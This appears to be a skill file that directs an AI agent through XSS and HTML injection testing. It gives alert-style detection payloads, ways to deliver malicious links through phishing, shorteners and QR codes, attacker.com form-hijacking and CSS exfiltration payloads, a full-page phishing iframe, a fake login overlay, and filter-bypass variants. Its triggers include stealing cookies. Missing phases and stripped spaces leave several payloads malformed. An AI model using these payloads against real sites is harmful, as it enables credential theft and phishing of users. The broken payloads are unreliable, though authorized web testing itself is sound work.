This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
metadata
{"author":"zebbern","version":"1.1"}
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
Target web application URL with user input fields
Burp Suite or browser developer tools for request analysis
Access to create test accounts for stored XSS testing
Browser with JavaScript console enabled
Technical Requirements
Understanding of JavaScript execution in browser context
Knowledge of HTML DOM structure and manipulation
Familiarity with HTTP request/response headers
Understanding of cookie attributes and session management
Legal Prerequisites
Written authorization for security testing
Defined scope including target domains and features
Agreement on handling of any captured session data
Incident response procedures established
Outputs / Deliverables
XSS/HTMLi vulnerability report with severity classifications
Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test --><test123><!-- Script tag test --><script>alert('XSS')</script><!-- Event handler test --><imgsrc=xonerror=alert('XSS')><!-- SVG-based test --><svgonload=alert('XSS')><!-- Body event test --><bodyonload=alert('XSS')>
Monitor for:
Raw HTML reflection without encoding
Partial encoding (some characters escaped)
JavaScript execution in browser console
DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
Input persists after page refresh
Other users see injected content
Content stored in database/filesystem
Reflected XSS Indicators:
Input appears only in current response
Requires victim to click crafted URL
No persistence across sessions
DOM-Based XSS Indicators:
Input processed by client-side JavaScript
Server response doesn't contain payload
Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
<!-- Content injection --><h1>SITE HACKED</h1><!-- Form hijacking --><formaction="http://attacker.com/capture"><inputname="credentials"placeholder="Enter password"><button>Submit</button></form><!-- CSS injection for data exfiltration --><style>input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style><!-- iframe injection --><iframesrc="http://attacker.com/phishing"style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Stored HTML Injection
Persistent content manipulation:
<!-- Marquee disruption --><marquee>Important Security Notice: Your account is compromised!</marquee><!-- Style override --><style>body{background:red !important;}</style><!-- Hidden content with CSS --><divstyle="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<!-- Case variation --><ScRiPt>alert(1)</sCrIpT><IMGSRC=xONERROR=alert(1)><!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><sourceonerror=alert(1)><audiosrc=xonerror=alert(1)><!-- Malformed tags --><imgsrc=xonerror=alert(1)//
<img """><script>alert(1)</script>">
